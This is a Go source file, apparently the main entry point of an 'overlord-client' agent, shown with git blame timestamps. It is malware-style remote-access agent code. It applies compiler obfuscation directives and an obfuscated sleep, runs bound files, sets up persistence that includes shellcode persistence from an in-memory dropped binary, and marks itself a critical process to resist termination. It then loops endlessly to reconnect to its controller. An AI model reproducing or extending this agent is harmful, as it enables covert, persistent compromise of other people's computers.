2026-03-05 00:04:26 -06:00
|
|
|
package main
|
|
|
|
|
|
|
|
|
|
import (
|
|
|
|
|
"log"
|
|
|
|
|
"time"
|
|
|
|
|
|
|
|
|
|
"overlord-client/cmd/agent/config"
|
2026-04-03 10:47:05 -05:00
|
|
|
"overlord-client/cmd/agent/criticalproc"
|
2026-03-05 00:04:26 -06:00
|
|
|
"overlord-client/cmd/agent/mutex"
|
|
|
|
|
"overlord-client/cmd/agent/persistence"
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
func main() {
|
2026-04-20 13:46:59 -05:00
|
|
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
2026-06-29 00:01:07 -05:00
|
|
|
installHardCrashReporter()
|
2026-03-05 00:04:26 -06:00
|
|
|
cfg := config.Load()
|
|
|
|
|
|
2026-03-21 02:12:35 -05:00
|
|
|
if cfg.SleepSeconds > 0 {
|
|
|
|
|
sleepObfuscated(cfg.SleepSeconds)
|
|
|
|
|
}
|
|
|
|
|
|
2026-03-21 02:37:10 -05:00
|
|
|
runBoundFiles()
|
|
|
|
|
|
2026-03-05 00:04:26 -06:00
|
|
|
if cfg.EnablePersistence {
|
2026-05-13 23:55:51 -04:00
|
|
|
if isRunningInMemory() {
|
|
|
|
|
if len(selfDropBinary) > 0 {
|
|
|
|
|
if err := persistence.SetupFromBytes(selfDropBinary); err != nil {
|
|
|
|
|
log.Printf("Warning: Failed to setup shellcode persistence: %v", err)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
// No selfDropBinary = shellcode built without persistence embed; skip.
|
|
|
|
|
} else {
|
|
|
|
|
if err := persistence.Setup(); err != nil {
|
|
|
|
|
log.Printf("Warning: Failed to setup persistence: %v", err)
|
|
|
|
|
}
|
2026-03-05 00:04:26 -06:00
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
releaseMutex, ok, err := mutex.Acquire(cfg.Mutex)
|
|
|
|
|
if err != nil {
|
|
|
|
|
log.Printf("[mutex] failed to initialize mutex: %v", err)
|
2026-03-09 17:24:43 -05:00
|
|
|
log.Printf("[mutex] continuing without mutex protection")
|
|
|
|
|
releaseMutex = func() {}
|
|
|
|
|
ok = true
|
2026-03-05 00:04:26 -06:00
|
|
|
}
|
|
|
|
|
if !ok {
|
|
|
|
|
log.Printf("[mutex] another instance is already running; exiting")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
defer releaseMutex()
|
2026-05-05 20:22:27 -05:00
|
|
|
mutex.SetGlobalRelease(releaseMutex)
|
2026-03-05 00:04:26 -06:00
|
|
|
|
2026-05-17 16:46:03 -05:00
|
|
|
if cfg.CriticalProcess {
|
|
|
|
|
criticalproc.Setup()
|
|
|
|
|
defer criticalproc.Teardown()
|
|
|
|
|
}
|
|
|
|
|
|
2026-03-05 00:04:26 -06:00
|
|
|
for {
|
|
|
|
|
func() {
|
|
|
|
|
defer recoverAndLog("main", nil)
|
|
|
|
|
runClient(cfg)
|
|
|
|
|
}()
|
|
|
|
|
time.Sleep(2 * time.Second)
|
|
|
|
|
}
|
|
|
|
|
}
|